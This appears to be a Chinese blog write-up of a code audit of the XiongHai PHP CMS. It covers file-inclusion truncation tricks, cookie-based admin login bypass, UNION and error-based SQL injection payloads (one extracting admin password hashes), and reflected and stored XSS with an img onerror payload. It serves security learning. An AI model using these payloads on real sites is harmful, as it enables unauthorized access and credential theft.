熊海审计

熊海审计

一、文件包含漏洞

0x01:%00截断

截断大概可以在以下情况适用:
include(require)
file_get_contents
file_exists

截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态

error_reporting(1); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件

%00截断 在这儿不能成功,因为addslashes()进行了预定义字符转义

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

单引号(')

双引号(")

反斜杠(\)

NULL (%00)

此外,当magic_quotes_gpc开启时也会有预定义字符转义的功能


0x02:问号(?)伪截断

不受限于GPC和PHP版本,只要能返回代码给包含函数就能执行
在HTTP协议中访问http://remotehost/1.txt和访问http://remotehost/1.txt?.php返回结果是一样的,因为WebServer把问号(?)之后的内容当作是请求参数

这里用?不能截断

0x03:文件路径长度截断

系统文件路径长度限制:
windows 259个bytes
linux 4096个bytes

截断条件:
php版本为5.3.4以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)
不受限于GPC

../都可以截断

../test.txt................................................................................................................................................................................................................................................................................................................................................................................
../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

在这里插入图片描述
在这里插入图片描述

二、cookie欺骗登录后台

在/admin/files/index.php中发现包含了/inc/checklogin.php,然后就发现检验方式是cookie…
在这里插入图片描述

三、SQL注入

在login.php中看看如何处理登录的:

$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;	
	}

先查用户名信息,然后对比数据库中的passwd是否和我们输入的一致

0x01:UNION注入

没有过滤直接将$user拼接到SQL语句从而造成问题
可以配合union注入,到数据库查看发现有8列数据,passwd在第四列
构造如下:

账号: 1' union select 1,2,3,md5(4),5,6,7,8#
密码: 4



0x02:报错注入
die('SQL语句有误:'.mysql_error());

注意到会拼接返回错误信息,报错注入

1' and extractvalue(1,concat(0x7e,(select username from manage),0x7e))

上述两种方式受限于php.ini 中magic_quotes_gpc 设置(因为我们用到了单引号),如果magic_quotes_gpc=OFF就可利用,ON 则不可利用




0x03:

/files/content.php/files/software.php两处中相同的功能代码,没有过滤,没有用单引号保护。直接可以报错注入

//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id"; @mysql_query($query) or die('修改错误:'.mysql_error());
 1 or updatexml(1,concat(0x7e,substr((select group_concat(password) from manage),1,30),0x7e),1)#



三、XSS
0x01:反射型xss

/files/contact.php存在反射型xss

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
page=<img src=x onerror=alert(/xss/);>
0x02:存储型xss

在/files/submit.php中将content内容给过滤。

$content=addslashes(strip_tags($content));  //过滤HTML

在评论处可以提交昵称、邮箱、网址、评论内容,但是显示评论和留言的地方有昵称,所以只有昵称处有存储型XSS。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值